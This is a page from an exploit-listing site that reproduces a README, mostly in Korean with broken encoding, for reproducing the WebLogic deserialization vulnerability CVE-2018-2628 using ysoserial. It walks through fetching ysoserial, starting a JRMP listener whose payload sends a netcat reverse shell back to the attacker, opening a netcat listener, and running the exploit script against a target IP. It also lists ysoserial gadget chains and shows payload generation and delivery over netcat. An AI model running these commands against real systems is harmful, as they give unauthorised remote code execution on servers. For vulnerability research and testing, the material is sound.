Sploitus

Exploit for CVE-2018-2628

kitploit ยท 2026-08-25

Exploit Code

MARKDOWN111 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VICTOR0013-CVE-2018-2628
# CVE-2018-2628

![Join the chat at https://gitter.im/frohoff/ysoserial](https://badges.gitter.im/frohoff/ysoserial.svg) ![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg) ![Travis Build Status](https://api.travis-ci.org/frohoff/ysoserial.svg?branch=master) ![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)

์•ˆ์ „ํ•˜์ง€ ์•Š์€ Java ๊ฐ์ฒด ์—ญ์ง๋ ฌํ™”๋ฅผ ์•…์šฉํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ๊ฐœ๋… ์ฆ๋ช… ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

## CVE-2018-2628 ์ทจ์•ฝ์  ์žฌํ˜„ ์ƒ์„ธ ๋‹จ๊ณ„:

### 0x01 JRMPListener ํ˜ธ์ŠคํŠธ์—์„œ ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    wget https://jitpack.io/com/github/frohoff/ysoserial/master/ysoserial-master.jar
    
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener [็›‘ๅฌ็ซฏๅฃ] CommonsCollections1 [ๆ‰ง่กŒๅ‘ฝไปค]
    

![](https://assets.kitploit.com/production/public/readmes/34010/55a9e2b1ac151fea3f3472f496eb1334055e9b007d4b94485c14af7c07967f88.png)

์˜ˆ๋ฅผ ๋“ค์–ด: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv ๅๅผนip ๅๅผน็ซฏๅฃ'

### 0x02 ๋ฆฌ๋ฒ„์Šค ์…ธ

๊ณต๊ฒฉ์ž ํ˜ธ์ŠคํŠธ์—์„œ ๋ฆฌ์Šค๋„ˆ๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    nc -lvvp 6666
    

![](https://assets.kitploit.com/production/public/readmes/34010/80f00df1272939a3453c7cf22806d79264b77dbd34a535ad8fc90ba814cf54ea.png)

### 0x03 exp ์‹คํ–‰

๊ณต๊ฒฉ์ž ํ˜ธ์ŠคํŠธ์—์„œ ์ต์Šคํ”Œ๋กœ์ž‡ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    python CVE-2018-2628   ip  port
    

![](https://assets.kitploit.com/production/public/readmes/34010/3dc36b1c43d05172b2a99425088d420993d560a76c864c25b3fcd9e0e77858ca.png)

![](https://assets.kitploit.com/production/public/readmes/34010/80f8ce19b75918ac7ad576d51e3a6661b0a1d30247a7220c9c13f9ec227db23b.png)

### 0x04 ์ฐธ๊ณ  ๋งํฌ:

https://github.com/frohoff/ysoserial

root@kitploit:~
    
    
    $  java -jar ysoserial.jar
    Y SO SERIAL?
    Usage: java -jar ysoserial.jar [payload] '[command]'
      Available payload types:
         Payload             Authors                     Dependencies
         -------             -------                     ------------
         BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
         C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
         Clojure             @JackOfMostTrades           clojure:1.8.0
         CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
         CommonsCollections1 @frohoff                    commons-collections:3.1
         CommonsCollections2 @frohoff                    commons-collections4:4.0
         CommonsCollections3 @frohoff                    commons-collections:3.1
         CommonsCollections4 @frohoff                    commons-collections4:4.0
         CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
         CommonsCollections6 @matthias_kaiser            commons-collections:3.1
         FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
         Groovy1             @frohoff                    groovy:2.3.9
         Hibernate1          @mbechler
         Hibernate2          @mbechler
         JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
         JRMPClient          @mbechler
         JRMPListener        @mbechler
         JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
         JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
         Jdk7u21             @frohoff
         Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
         MozillaRhino1       @matthias_kaiser            js:1.7R2
         Myfaces1            @mbechler
         Myfaces2            @mbechler
         ROME                @mbechler                   rome:1.0
         Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
         Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
         URLDNS              @gebl
         Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4
    

## ์˜ˆ์ œ

root@kitploit:~
    
    
    $ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
    0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
    0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
    0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
    ...
    0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
    0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
    0000570: 0078 7071 007e 003a                      .xpq.~.:
    
    $ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
    $ nc 10.10.10.10 1099 < groovypayload.bin
    
    $ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe